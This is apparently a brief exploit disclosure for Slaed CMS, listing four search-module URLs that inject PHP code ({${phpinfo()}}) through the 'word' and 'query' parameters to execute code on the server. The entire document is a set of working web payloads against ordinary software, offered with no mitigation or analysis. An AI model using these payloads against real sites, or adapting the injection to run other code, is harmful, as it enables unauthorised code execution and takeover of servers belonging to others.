Exploit Title: Slaed CMS Code exec
On different versions of this software next vulnerabilities are availible:
/index.php?name=Search&mod=&word={${phpinfo()}}&query=ok&to=view
/index.php?name=Search&mod=&word=ok&query={${phpinfo()}}&to=view
OR:
/search.html?mod=&word={${phpinfo()}}&query=ok&to=view
/search.html?mod=&word=ok&query={${phpinfo()}}&to=view